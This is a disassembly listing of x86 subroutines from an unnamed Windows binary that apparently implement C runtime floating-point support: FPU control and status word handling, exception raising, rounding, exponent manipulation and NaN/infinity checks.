sub_420DEB proc near ; CODE XREF: sub_420375+6Bp
; sub_420375+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420E01
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423E0F
pop ecx
pop ecx
locret_420E01: ; CODE XREF: sub_420DEB+5j
retn
sub_420DEB endp
; =============== S U B R O U T I N E =======================================
sub_420E02 proc near ; CODE XREF: sub_420375+63p
; sub_420375+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420E08: ; CODE XREF: sub_420E02+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420DD1
mov edi, eax
push edi
call sub_41DD40
pop ecx
test eax, eax
pop ecx
jnz short loc_420E08
mov eax, edi
pop edi
pop esi
retn
sub_420E02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420E26(int, int, double, int)
sub_420E26 proc near ; CODE XREF: sub_41CD19+51p
; sub_41CE5F+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_442EE0, 0
jnz short loc_420E5B
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_4213DB
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420E5B: ; CODE XREF: sub_420E26+Aj
push 0FFFFh
mov dword_4E14F8, 21h
push [ebp+arg_C]
call sub_42164E
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_420E79(int, int, double, double, int)
sub_420E79 proc near ; CODE XREF: sub_41CD19:loc_41CDDCp
; sub_41CE5F:loc_41CF22p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_4211C4
add esp, 0Ch
test eax, eax
jnz short loc_420EB7
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_420F11
add esp, 18h
loc_420EB7: ; CODE XREF: sub_420E79+1Aj
push [ebp+arg_0]
call sub_4214AE
cmp dword_442EE0, 0
pop ecx
jnz short loc_420EF5
test eax, eax
jz short loc_420EF5
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_4213DB
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_420EF5: ; CODE XREF: sub_420E79+4Ej
; sub_420E79+52j
push eax
call sub_421463
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_42164E
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_420E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420F11 proc near ; CODE XREF: sub_420E79+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_420F43
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_420F43: ; CODE XREF: sub_420F11+23j
test cl, 2
jz short loc_420F56
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_420F56: ; CODE XREF: sub_420F11+35j
test cl, bl
jz short loc_420F68
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_420F68: ; CODE XREF: sub_420F11+47j
test cl, 4
jz short loc_420F7B
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_420F7B: ; CODE XREF: sub_420F11+5Aj
test cl, 8
jz short loc_420F8E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_420F8E: ; CODE XREF: sub_420F11+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_421631
test al, bl
jz short loc_421017
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421017: ; CODE XREF: sub_420F11+FDj
test al, 4
jz short loc_421022
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_421022: ; CODE XREF: sub_420F11+108j
test al, 8
jz short loc_42102D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_42102D: ; CODE XREF: sub_420F11+113j
test al, 10h
jz short loc_421037
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421037: ; CODE XREF: sub_420F11+11Ej
test al, 20h
jz short loc_421041
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421041: ; CODE XREF: sub_420F11+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421080
cmp eax, 400h
jz short loc_421072
cmp eax, 800h
jz short loc_421066
cmp eax, ecx
jnz short loc_421086
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421086
; ---------------------------------------------------------------------------
loc_421066: ; CODE XREF: sub_420F11+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_42107C
; ---------------------------------------------------------------------------
loc_421072: ; CODE XREF: sub_420F11+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_42107C: ; CODE XREF: sub_420F11+15Fj
mov [eax], ecx
jmp short loc_421086
; ---------------------------------------------------------------------------
loc_421080: ; CODE XREF: sub_420F11+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421086: ; CODE XREF: sub_420F11+14Bj
; sub_420F11+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_4210B1
cmp eax, 200h
jz short loc_4210A4
cmp eax, ecx
jnz short loc_4210BE
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_4210BE
; ---------------------------------------------------------------------------
loc_4210A4: ; CODE XREF: sub_420F11+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_4210BC
; ---------------------------------------------------------------------------
loc_4210B1: ; CODE XREF: sub_420F11+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_4210BC: ; CODE XREF: sub_420F11+19Ej
mov [eax], ecx
loc_4210BE: ; CODE XREF: sub_420F11+189j
; sub_420F11+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42163F
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_42705C ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421138
and dword ptr [esi], 0FFFFFFFEh
loc_421138: ; CODE XREF: sub_420F11+222j
test byte ptr [eax+8], 8
jz short loc_421141
and dword ptr [esi], 0FFFFFFFBh
loc_421141: ; CODE XREF: sub_420F11+22Bj
test byte ptr [eax+8], 4
jz short loc_42114A
and dword ptr [esi], 0FFFFFFF7h
loc_42114A: ; CODE XREF: sub_420F11+234j
test byte ptr [eax+8], 2
jz short loc_421153
and dword ptr [esi], 0FFFFFFEFh
loc_421153: ; CODE XREF: sub_420F11+23Dj
test [eax+8], bl
jz short loc_42115B
and dword ptr [esi], 0FFFFFFDFh
loc_42115B: ; CODE XREF: sub_420F11+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42118F
dec ecx
jz short loc_421183
dec ecx
jz short loc_421179
dec ecx
jnz short loc_421191
or byte ptr [esi+1], 0Ch
jmp short loc_421191
; ---------------------------------------------------------------------------
loc_421179: ; CODE XREF: sub_420F11+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_42118B
; ---------------------------------------------------------------------------
loc_421183: ; CODE XREF: sub_420F11+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_42118B: ; CODE XREF: sub_420F11+270j
mov [esi], ecx
jmp short loc_421191
; ---------------------------------------------------------------------------
loc_42118F: ; CODE XREF: sub_420F11+257j
and [esi], edx
loc_421191: ; CODE XREF: sub_420F11+260j
; sub_420F11+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_4211B1
dec ecx
jz short loc_4211A8
dec ecx
jnz short loc_4211BA
and [esi], edx
jmp short loc_4211BA
; ---------------------------------------------------------------------------
loc_4211A8: ; CODE XREF: sub_420F11+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_4211B8
; ---------------------------------------------------------------------------
loc_4211B1: ; CODE XREF: sub_420F11+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_4211B8: ; CODE XREF: sub_420F11+29Ej
mov [esi], ecx
loc_4211BA: ; CODE XREF: sub_420F11+291j
; sub_420F11+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_420F11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4211C4 proc near ; CODE XREF: sub_420E79+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_4211EF
test byte ptr [ebp+arg_8], bl
jz short loc_4211EF
push ebx
call sub_421671
pop ecx
and edi, 0FFFFFFF7h
jmp loc_4213B9
; ---------------------------------------------------------------------------
loc_4211EF: ; CODE XREF: sub_4211C4+15j
; sub_4211C4+1Aj
test al, 4
jz short loc_421209
test byte ptr [ebp+arg_8], 4
jz short loc_421209
push 4
call sub_421671
pop ecx
and edi, 0FFFFFFFBh
jmp loc_4213B9
; ---------------------------------------------------------------------------
loc_421209: ; CODE XREF: sub_4211C4+2Dj
; sub_4211C4+33j
test al, bl
jz loc_4212E3
test byte ptr [ebp+arg_8], 8
jz loc_4212E3
push 8
call sub_421671
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_4212BB
cmp ecx, 400h
jz short loc_421293
cmp ecx, 800h
jz short loc_42126B
cmp ecx, eax
jnz loc_4212DB
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427858
fld dbl_442AD8
fnstsw ax
sahf
ja short loc_421263
fchs
loc_421263: ; CODE XREF: sub_4211C4+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4212D9
; ---------------------------------------------------------------------------
loc_42126B: ; CODE XREF: sub_4211C4+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427858
fnstsw ax
sahf
jbe short loc_421283
fld dbl_442AC8
jmp short loc_42128B
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_4211C4+B5j
fld dbl_442AD8
fchs
loc_42128B: ; CODE XREF: sub_4211C4+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4212D9
; ---------------------------------------------------------------------------
loc_421293: ; CODE XREF: sub_4211C4+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427858
fnstsw ax
sahf
jbe short loc_4212AB
fld dbl_442AD8
jmp short loc_4212B3
; ---------------------------------------------------------------------------
loc_4212AB: ; CODE XREF: sub_4211C4+DDj
fld dbl_442AC8
fchs
loc_4212B3: ; CODE XREF: sub_4211C4+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4212D9
; ---------------------------------------------------------------------------
loc_4212BB: ; CODE XREF: sub_4211C4+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427858
fld dbl_442AC8
fnstsw ax
sahf
ja short loc_4212D3
fchs
loc_4212D3: ; CODE XREF: sub_4211C4+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_4212D9: ; CODE XREF: sub_4211C4+A5j
; sub_4211C4+CDj ...
fstp qword ptr [ecx]
loc_4212DB: ; CODE XREF: sub_4211C4+81j
and edi, 0FFFFFFFEh
jmp loc_4213B9
; ---------------------------------------------------------------------------
loc_4212E3: ; CODE XREF: sub_4211C4+47j
; sub_4211C4+51j
test al, 2
jz loc_4213B9
test byte ptr [ebp+arg_8], 10h
jz loc_4213B9
push esi
xor esi, esi
test al, 10h
jz short loc_4212FE
mov esi, ebx
loc_4212FE: ; CODE XREF: sub_4211C4+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427858
fnstsw ax
sahf
jz loc_4213A7
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421570
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421349
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_42139D
; ---------------------------------------------------------------------------
loc_421349: ; CODE XREF: sub_4211C4+17Aj
fld [ebp+var_C]
fcomp dbl_427858
fnstsw ax
sahf
jnb short loc_42135B
mov edx, ebx
jmp short loc_42135D
; ---------------------------------------------------------------------------
loc_42135B: ; CODE XREF: sub_4211C4+191j
xor edx, edx
loc_42135D: ; CODE XREF: sub_4211C4+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421391
sub eax, ecx
loc_421374: ; CODE XREF: sub_4211C4+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42137F
test esi, esi
jnz short loc_42137F
mov esi, ebx
loc_42137F: ; CODE XREF: sub_4211C4+1B3j
; sub_4211C4+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_42138B
or byte ptr [ebp+var_C+3], 80h
loc_42138B: ; CODE XREF: sub_4211C4+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421374
loc_421391: ; CODE XREF: sub_4211C4+1ACj
test edx, edx
jz short loc_42139D
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_42139D: ; CODE XREF: sub_4211C4+183j
; sub_4211C4+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_4213A9
; ---------------------------------------------------------------------------
loc_4213A7: ; CODE XREF: sub_4211C4+14Ej
mov esi, ebx
loc_4213A9: ; CODE XREF: sub_4211C4+1E1j
test esi, esi
pop esi
jz short loc_4213B6
push 10h
call sub_421671
pop ecx
loc_4213B6: ; CODE XREF: sub_4211C4+1E8j
and edi, 0FFFFFFFDh
loc_4213B9: ; CODE XREF: sub_4211C4+26j
; sub_4211C4+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_4213D0
test byte ptr [ebp+arg_8], 20h
jz short loc_4213D0
push 20h
call sub_421671
pop ecx
and edi, 0FFFFFFEFh
loc_4213D0: ; CODE XREF: sub_4211C4+1F9j
; sub_4211C4+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_4211C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4213DB(int, int, int, int, int, int, double, int)
sub_4213DB proc near ; CODE XREF: sub_420E26+2Bp
; sub_420E79+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421489
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421446
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_42164E
lea eax, [ebp+var_20]
push eax
call sub_423E7D
add esp, 0Ch
test eax, eax
jnz short loc_421440
push esi
call sub_421463
pop ecx
loc_421440: ; CODE XREF: sub_4213DB+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421446: ; CODE XREF: sub_4213DB+14j
push 0FFFFh
push [ebp+arg_20]
call sub_42164E
push [ebp+arg_0]
call sub_421463
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_4213DB endp
; =============== S U B R O U T I N E =======================================
sub_421463 proc near ; CODE XREF: sub_420E79+7Dp
; sub_4213DB+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_42147E
jle short locret_421488
cmp eax, 3
jg short locret_421488
mov dword_4E14F8, 22h
retn
; ---------------------------------------------------------------------------
loc_42147E: ; CODE XREF: sub_421463+7j
mov dword_4E14F8, 21h
locret_421488: ; CODE XREF: sub_421463+9j
; sub_421463+Ej
retn
sub_421463 endp
; =============== S U B R O U T I N E =======================================
sub_421489 proc near ; CODE XREF: sub_4213DB+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_4429F0
loc_421490: ; CODE XREF: sub_421489+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_4214A6
add eax, 8
inc ecx
cmp eax, offset dbl_442AC8
jl short loc_421490
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4214A6: ; CODE XREF: sub_421489+Dj
mov eax, off_4429F4[ecx*8]
retn
sub_421489 endp
; =============== S U B R O U T I N E =======================================
sub_4214AE proc near ; CODE XREF: sub_420E79+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_4214BA
push 5
jmp short loc_4214D0
; ---------------------------------------------------------------------------
loc_4214BA: ; CODE XREF: sub_4214AE+6j
test al, 8
jz short loc_4214C2
push 1
jmp short loc_4214D0
; ---------------------------------------------------------------------------
loc_4214C2: ; CODE XREF: sub_4214AE+Ej
test al, 4
jz short loc_4214CA
push 2
jmp short loc_4214D0
; ---------------------------------------------------------------------------
loc_4214CA: ; CODE XREF: sub_4214AE+16j
test al, 1
jz short loc_4214D2
push 3
loc_4214D0: ; CODE XREF: sub_4214AE+Aj
; sub_4214AE+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_4214D2: ; CODE XREF: sub_4214AE+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_4214AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4214DB(double)
sub_4214DB proc near ; CODE XREF: sub_41CD19:loc_41CD9Fp
; sub_41CE5F:loc_41CEE5p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_4214DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4214ED(double, int)
sub_4214ED proc near ; CODE XREF: sub_421570+82p
; sub_421570+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_4214ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421516 proc near ; CODE XREF: sub_41CD19+31p
; sub_41CE5F+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_42152D
cmp [ebp+arg_0], edx
jnz short loc_42153F
push 1
jmp short loc_421569
; ---------------------------------------------------------------------------
loc_42152D: ; CODE XREF: sub_421516+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_42153F
cmp [ebp+arg_0], edx
jnz short loc_42153F
push 2
jmp short loc_421569
; ---------------------------------------------------------------------------
loc_42153F: ; CODE XREF: sub_421516+11j
; sub_421516+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421552
push 3
jmp short loc_421569
; ---------------------------------------------------------------------------
loc_421552: ; CODE XREF: sub_421516+36j
cmp cx, 7FF0h
jnz short loc_42156C
test [ebp+arg_4], 7FFFFh
jnz short loc_421567
cmp [ebp+arg_0], edx
jz short loc_42156C
loc_421567: ; CODE XREF: sub_421516+4Aj
push 4
loc_421569: ; CODE XREF: sub_421516+15j
; sub_421516+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42156C: ; CODE XREF: sub_421516+41j
; sub_421516+4Fj
xor eax, eax
pop ebp
retn
sub_421516 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421570(double, int)
sub_421570 proc near ; CODE XREF: sub_4211C4+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427858
push esi
fnstsw ax
sahf
jnz short loc_421590
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_421626
; ---------------------------------------------------------------------------
loc_421590: ; CODE XREF: sub_421570+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_4215FF
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_4215A8
cmp dword ptr [ebp+arg_0], ecx
jz short loc_4215FF
loc_4215A8: ; CODE XREF: sub_421570+31j
fld [ebp+arg_0]
fcomp dbl_427858
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_4215C0
push 1
pop eax
jmp short loc_4215C2
; ---------------------------------------------------------------------------
loc_4215C0: ; CODE XREF: sub_421570+49j
xor eax, eax
loc_4215C2: ; CODE XREF: sub_421570+4Ej
; sub_421570+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_4215DB
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_4215D5
or dword ptr [ebp+arg_0+4], 1
loc_4215D5: ; CODE XREF: sub_421570+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_4215C2
; ---------------------------------------------------------------------------
loc_4215DB: ; CODE XREF: sub_421570+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_4215E9
or byte ptr [ebp+arg_0+7], 80h
loc_4215E9: ; CODE XREF: sub_421570+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4214ED
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_421626
; ---------------------------------------------------------------------------
loc_4215FF: ; CODE XREF: sub_421570+28j
; sub_421570+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4214ED
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_421626: ; CODE XREF: sub_421570+1Bj
; sub_421570+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421570 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421631 proc near ; CODE XREF: sub_420F11+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_421631 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42163F proc near ; CODE XREF: sub_420F11+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42163F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42164E proc near ; CODE XREF: sub_41CD19+13p
; sub_41CD19+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_42164E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421671 proc near ; CODE XREF: sub_4211C4+1Dp
; sub_4211C4+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421688
fld tbyte_442AF0
fistp [ebp+arg_0]
wait
loc_421688: ; CODE XREF: sub_421671+Bj
test cl, 8
jz short loc_42169D
fstsw ax
fld tbyte_442AF0
fstp [ebp+var_8]
wait
fstsw ax
loc_42169D: ; CODE XREF: sub_421671+1Aj
test cl, 10h
jz short loc_4216AC
fld tbyte_442AFC
fstp [ebp+var_8]
wait
loc_4216AC: ; CODE XREF: sub_421671+2Fj
test cl, 4
jz short loc_4216BA
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4216BA: ; CODE XREF: sub_421671+3Ej
test cl, 20h
jz short locret_4216C5
fldpi
fstp [ebp+var_8]
wait
locret_4216C5: ; CODE XREF: sub_421671+4Cj
leave
retn
sub_421671 endp
